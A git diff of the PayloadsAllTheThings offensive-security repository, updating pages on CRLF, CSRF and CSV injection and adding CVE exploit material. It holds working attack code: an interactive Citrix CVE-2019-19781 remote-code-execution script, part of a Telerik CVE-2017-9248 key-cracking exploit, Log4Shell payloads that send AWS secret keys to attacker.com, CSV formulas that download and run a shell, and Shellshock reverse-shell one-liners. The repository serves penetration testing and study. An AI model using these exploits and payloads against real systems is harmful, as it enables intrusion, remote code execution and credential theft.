+| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
+| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>)  |
+| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<)  |
+
+The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
+
+An example payload using UTF-8 characters would be:
+
+```js
+嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
+```
+
+URL encoded version
+
+```js
+%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
+```
+
+## Labs
+
+* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
+* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
+
+## References
+
+* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
 * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
 * [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
 
-* https://www.owasp.org/index.php/CRLF_Injection
+* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
-* https://vulners.com/hackerone/H1:192749
+* [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
+* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)

CSRF Injection/README.md

@@ -1,117 +0,0 @@
-# Cross-Site Request Forgery
-
-> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
-
-
-## Summary
-
-* [Methodology](#methodology)
-* [Payloads](#payloads)
-    * [HTML GET - Requiring User Interaction](#)
-    * [HTML GET - No User Interaction)](#)
-    * [HTML POST - Requiring User Interaction](#)
-    * [HTML POST - AutoSubmit - No User Interaction](#)
-    * [JSON GET - Simple Request](#)
-    * [JSON POST - Simple Request](#)
-    * [JSON POST - Complex Request](#)
-
-## Tools
-
-* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
-
-## Methodology
-
-![CSRF_cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20Injection/Images/CSRF-CheatSheet.png?raw=true)
-
-## Payloads
-
-When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
-
-### HTML GET - Requiring User Interaction
-
-```html
-<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
-```
-
-### HTML GET - No User Interaction
-
-```html
-<img src="http://www.example.com/api/setusername?username=CSRFd">
-```
-
-### HTML POST - Requiring User Interaction
-
-```html
-<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
- <input name="username" type="hidden" value="CSRFd" />
- <input type="submit" value="Submit Request" />
-</form>
-```
-
-### HTML POST - AutoSubmit - No User Interaction
-
-```html
-<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
- <input name="username" type="hidden" value="CSRFd" />
- <input type="submit" value="Submit Request" />
-</form>
- 
-<script>
- document.getElementById("autosubmit").submit();
-</script>
-```
-
-
-### JSON GET - Simple Request
-
-```html
-<script>
-var xhr = new XMLHttpRequest();
-xhr.open("GET", "http://www.example.com/api/currentuser");
-xhr.send();
-</script>
-```
-
-### JSON POST - Simple Request
-
-```html
-<script>
-var xhr = new XMLHttpRequest();
-xhr.open("POST", "http://www.example.com/api/setrole");
-//application/json is not allowed in a simple request. text/plain is the default
-xhr.setRequestHeader("Content-Type", "text/plain");
-//You will probably want to also try one or both of these
-//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
-//xhr.setRequestHeader("Content-Type", "multipart/form-data");
-xhr.send('{"role":admin}');
-</script>
-```
-
-### JSON POST - Complex Request
-
-```html
-<script>
-var xhr = new XMLHttpRequest();
-xhr.open("POST", "http://www.example.com/api/setrole");
-xhr.withCredentials = true;
-xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
-xhr.send('{"role":admin}');
-</script>
-```
-
-
-## References
-
-- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
-- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
-- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/) 
-- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
-- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
-- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
-- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
-- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
-- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
-- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
-- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
-- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
-- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)

CSV Injection/README.md

@@ -1,34 +1,16 @@
-# CSV Injection (Formula Injection)
+# CSV Injection
 
-Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
+> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
 
-## Exploit
+## Summary
 
-Basic exploit with Dynamic Data Exchange
+* [Methodology](#methodology)
+    * [Google Sheets](#google-sheets)
+* [References](#references)
 
-```powershell
+## Methodology
-# pop a calc
-DDE ("cmd";"/C calc";"!A0")A0
-@SUM(1+1)*cmd|' /C calc'!A0
-=2+5+cmd|' /C calc'!A0
 
-# pop a notepad
+CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
-=cmd|' /C notepad'!'A1'
-
-# powershell download and execute
-=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
-
-# msf smb delivery with rundll32
-=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
-```
-
-Technical Details of the above payload:
-
-- `cmd` is the name the server can respond to whenever a client is trying to access the server
-- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
-- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
-
-Any formula can be started with
 
 ```powershell
 =
@@ -37,12 +19,74 @@ Any formula can be started with
 @
 ```
 
+Basic exploits with **Dynamic Data Exchange**.
+
+* Spawn a calc
+
+    ```powershell
+    DDE ("cmd";"/C calc";"!A0")A0
+    @SUM(1+1)*cmd|' /C calc'!A0
+    =2+5+cmd|' /C calc'!A0
+    =cmd|' /C calc'!'A1'
+    ```
+
+* PowerShell download and execute
+
+    ```powershell
+    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
+    ```
+
+* Prefix obfuscation and command chaining
+
+    ```powershell
+    =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
+    =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+    =         cmd|'/c calc.exe'!A
+    ```
+
+* Using rundll32 instead of cmd
+
+    ```powershell
+    =rundll32|'URL.dll,OpenURL calc.exe'!A
+    =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
+    ```
+
+* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
+
+    ```powershell
+    =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A
+    ```
+
+Technical details of the above payloads:
+
+* `cmd` is the name the server can respond to whenever a client is trying to access the server
+* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
+* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
+
+### Google Sheets
+
+Google Sheets allows some additionnal formulas that are able to fetch remote URLs:
+
+* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
+* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
+* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
+* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
+* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
+
+So one can test blind formula injection or a potential for data exfiltration with:
+
+```c
+=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
+```
+
+Note: an alert will warn the user a formula is trying to contact an external ressource and ask for authorization.
+
 ## References
 
-* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
+* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
-* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
+* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
-* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
+* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
-* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
+* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
-* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
+* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
-* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
+* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
-* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
+* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)

CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py

@@ -114,7 +114,7 @@ if len(host) > 0:
                             urllib.request.urlopen(host+pwnd(str(shellfile)))
                             shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
                             if shell.read().find(pathsave+"status.php") != -1:
-                                print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
+                                print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
                             else:
                                 print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
 

CVE Exploits/Citrix CVE-2019-19781.py

@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+# https://github.com/mpgn/CVE-2019-19781
+# # #
+
+import requests
+import string
+import random
+import re
+import sys
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
+print("Found by Mikhail Klyuchnikov")
+print("")
+
+if len(sys.argv) < 2:
+  print("[-] No URL provided")
+  sys.exit(0)
+
+while True:
+    try:
+      command = input("command > ")
+
+      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
+      print("[+] Adding bookmark", random_xml + ".xml")
+
+      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
+      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
+                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
+      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
+      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
+
+      if r.status_code == 200:
+        print("[+] Bookmark added")
+      else:
+        print("\n[-] Target not vulnerable or something went wrong")
+        sys.exit(0)
+
+      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
+      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
+                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
+      r = requests.get(burp0_url, headers=burp0_headers,verify=False)
+
+      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
+      print("[+] Result of the command: \n")
+      print(replaced)
+
+    except KeyboardInterrupt:
+            print("Exiting...")
+            break

CVE Exploits/Log4Shell.md

@@ -0,0 +1,107 @@
+# CVE-2021-44228 Log4Shell
+
+> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
+
+## Summary
+
+* [Vulnerable code](#vulnerable-code)
+* [Payloads](#payloads)
+* [Scanning](#scanning)
+* [WAF Bypass](#waf-bypass)
+* [Exploitation](#exploitation)
+    * [Environment variables exfiltration](#environment-variables-exfiltration)
+    * [Remote Command Execution](#remote-command-execution)
+* [References](#references)
+
+## Vulnerable code
+
+You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
+https://github.com/leonjza/log4jpwn)
+
+```java
+public String index(@RequestHeader("X-Api-Version") String apiVersion) {
+    logger.info("Received a request for API version " + apiVersion);
+    return "Hello, world!";
+}
+```
+
+## Payloads
+
+```bash
+# Identify Java version and hostname
+${jndi:ldap://${java:version}.domain/a}
+${jndi:ldap://${env:JAVA_VERSION}.domain/a}
+${jndi:ldap://${sys:java.version}.domain/a}
+${jndi:ldap://${sys:java.vendor}.domain/a}
+${jndi:ldap://${hostName}.domain/a}
+${jndi:dns://${hostName}.domain}
+
+# More enumerations keywords and variables
+java:os
+docker:containerId
+web:rootDir
+bundle:config:db.password
+```
+
+## Scanning
+
+* [log4j-scan](https://github.com/fullhunt/log4j-scan)
+
+    ```powershell
+    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
+                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
+    python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
+    python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
+    ```
+
+* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
+
+## WAF Bypass
+
+```powershell
+${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
+
+# using lower and upper
+${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
+${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
+${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
+
+# using env to create the letter
+${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
+${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
+```
+
+## Exploitation
+
+### Environment variables exfiltration
+
+```powershell
+${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
+
+# AWS Access Key
+${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
+```
+
+### Remote Command Execution
+
+* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
+
+    ```ps1
+    java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
+    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
+    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
+    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
+    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
+    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
+    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
+    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
+    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
+    ```
+
+* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
+
+## References
+
+* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
+* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
+* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)

CVE Exploits/README.md

@@ -1,29 +1,85 @@
 # Common Vulnerabilities and Exposures
 
-Big CVEs in the last 5 years.
+> A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
 
-## CVE-2014-0160 - Heartbleed
+## Summary
 
-The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
+* [Tools](#tools)
+* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
+    * [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
+    * [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
+    * [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
+    * [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
+    * [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
+    * [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
+    * [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
+* [References](#references)
 
-## CVE-2014-6271 - Shellshock
+## Tools
 
-Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
+* [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
+* [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
+* [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
+* [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
 
-```bash
+## Big CVEs in the last 15 years
-echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.0.XX 4444 -e /bin/sh\r\n
-```
 
-## CVE-2017-5638 - Apache Struts 2
+### CVE-2017-0144 - EternalBlue
+
+EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
+
+Afftected systems:
+
+* Windows Vista SP2
+* Windows Server 2008 SP2 and R2 SP1
+* Windows 7 SP1
+* Windows 8.1
+* Windows Server 2012 Gold and R2
+* Windows RT 8.1
+* Windows 10 Gold, 1511, and 1607
+* Windows Server 2016
+
+### CVE-2017-5638 - Apache Struts 2
 
 On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
 
-## CVE-2018-7600 - Drupalgeddon 2
+### CVE-2018-7600 - Drupalgeddon 2
 
 A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
 
-## Thanks to
+### CVE-2019-0708 - BlueKeep
+
+A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
+
+### CVE-2019-19781 - Citrix ADC Netscaler
+
+A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
+
+Affected products:
+
+* Citrix ADC and Citrix Gateway version 13.0 all supported builds
+* Citrix ADC and NetScaler Gateway version 12.1 all supported builds
+* Citrix ADC and NetScaler Gateway version 12.0 all supported builds
+* Citrix ADC and NetScaler Gateway version 11.1 all supported builds
+* Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
+
+### CVE-2014-0160 - Heartbleed
+
+The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
+
+### CVE-2014-6271 - Shellshock
+
+Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
+
+```powershell
+echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n"
+curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" 
+```
+
+## References
 
 * [Heartbleed - Official website](http://heartbleed.com)
 * [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
 * [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
+* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
+* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)

CVE Exploits/Telerik CVE-2017-9248.py

@@ -0,0 +1,362 @@
+# Author: Paul Taylor / @bao7uo
+
+# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
+
+# dp_crypto - CVE-2017-9248 exploit
+# Telerik.Web.UI.dll Cryptographic compromise
+
+# Warning - no cert warnings,
+# and verify = False in code below prevents verification
+
+import sys
+import base64
+import requests
+import re
+import binascii
+import argparse
+
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+requests_sent = 0
+char_requests = 0
+
+
+def getProxy(proxy):
+    return { "http" : proxy, "https" : proxy }
+
+
+def get_result(plaintext, key, session, pad_chars):
+    global requests_sent, char_requests
+
+    url = args.url
+    base_pad = (len(key) % 4)
+    base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
+    dp_encrypted = base64.b64encode(
+                                (encrypt(plaintext, key) + base).encode()
+                            ).decode()
+    request = requests.Request('GET', url + '?dp=' + dp_encrypted)
+    request = request.prepare()
+    response = session.send(request, verify=False, proxies = getProxy(args.proxy))
+    requests_sent += 1
+    char_requests += 1
+
+    match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
+    return True \
+        if match is not None \
+        and match.group(2) == args.oracle \
+        else False
+
+def test_keychar(keychar, found, session, pad_chars):
+    base64chars = [
+                    "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
+                    "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
+                    "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
+                    "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
+                    "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
+                    "P", "f", "v", "/"
+                  ]
+
+    duff = False
+    accuracy_thoroughness_threshold = args.accuracy
+    for bc in range(int(accuracy_thoroughness_threshold)):
+                                                # ^^ max is len(base64chars)
+        sys.stdout.write("\b\b" + base64chars[bc] + "]")
+        sys.stdout.flush()
+        if not get_result(
+                      base64chars[0] * len(found) + base64chars[bc],
+                      found + keychar, session, pad_chars
+                      ):
+            duff = True
+            break
+    return False if duff else True
+
+
+def encrypt(dpdata, key):
+    encrypted = []
+    k = 0
+    for i in range(len(dpdata)):
+        encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
+        k = 0 if k >= len(key) - 1 else k + 1
+    return ''.join(str(e) for e in encrypted)
+
+
+def mode_decrypt():
+    ciphertext = base64.b64decode(args.ciphertext).decode()
+    key = args.key
+    print(base64.b64decode(encrypt(ciphertext, key)).decode())
+    print("")
+
+
+def mode_encrypt():
+    plaintext = args.plaintext
+    key = args.key
+
+    plaintext = base64.b64encode(plaintext.encode()).decode()
+    print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
+    print("")
+
+
+def test_keypos(key_charset, unprintable, found, session):
+    pad_chars = ''
+    for pad_char in range(256):
+        pad_chars += chr(pad_char)
+
+    for i in range(len(pad_chars)):
+        for k in range(len(key_charset)):
+            keychar = key_charset[k]
+            sys.stdout.write("\b"*6)
+            sys.stdout.write(
+                        (
+                            keychar
+                            if unprintable is False
+                            else '+'
+                        ) +
+                        ") [" + (
+                            keychar
+                            if unprintable is False
+                            else '+'
+                        ) +
+                        "]"
+                    )
+            sys.stdout.flush()
+            if test_keychar(keychar, found, session, pad_chars[i] * 3):
+                return keychar
+    return False
+
+
+def get_key(session):
+    global char_requests
+    found = ''
+    unprintable = False
+
+    key_length = args.key_len
+    key_charset = args.charset
+    if key_charset == 'all':
+        unprintable = True
+        key_charset = ''
+        for i in range(256):
+            key_charset += chr(i)
+    else:
+        if key_charset == 'hex':
+            key_charset = '01234567890ABCDEF'
+
+    print("Attacking " + args.url)
+    print(
+        "to find key of length [" +
+        str(key_length) +
+        "] with accuracy threshold [" +
+        str(args.accuracy) +
+        "]"
+    )
+    print(
+        "using key charset [" +
+        (
+            key_charset
+            if unprintable is False
+            else '- all ASCII -'
+        ) +
+        "]\n"
+    )
+    for i in range(int(key_length)):
+        pos_str = (
+            str(i + 1)
+            if i > 8
+            else "0" + str(i + 1)
+        )
+        sys.stdout.write("Key position " + pos_str + ": (------")
+        sys.stdout.flush()
+        keychar = test_keypos(key_charset, unprintable, found, session)
+        if keychar is not False:
+            found = found + keychar
+            sys.stdout.write(
+                          "\b"*7 + "{" +
+                          (
+                              keychar
+                              if unprintable is False
+                              else '0x' + binascii.hexlify(keychar.encode()).decode()
+                          ) +
